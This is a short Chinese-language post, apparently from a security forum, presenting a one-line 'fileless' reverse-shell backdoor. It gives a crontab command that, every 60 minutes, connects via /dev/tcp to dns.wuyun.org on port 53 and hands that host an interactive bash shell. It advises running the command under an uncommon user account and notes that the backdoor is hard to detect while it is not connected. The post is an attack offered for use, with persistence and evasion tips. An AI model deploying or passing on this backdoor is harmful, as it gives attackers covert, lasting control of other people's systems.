一条命令实现无文件兼容性强的反弹后门

最好用一个不常见的用户执行，任务写入/var/spool/cron/$username 

(crontab -l;echo '*/60 * * * * exec 9<> /dev/tcp/dns.wuyun.org/53;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -

60分钟反连一次，在未连接状态启动反连任务的时候，进程和端口都无状态 

-bash: connect: Connection refused 
-bash: /dev/tcp/dns.wuyun.org/53: Connection refused 
-bash: 9: Bad file descriptor 
-bash: 9: Bad file descriptor
也就是说，你安装后，如果不连接成功，是很难被发现的。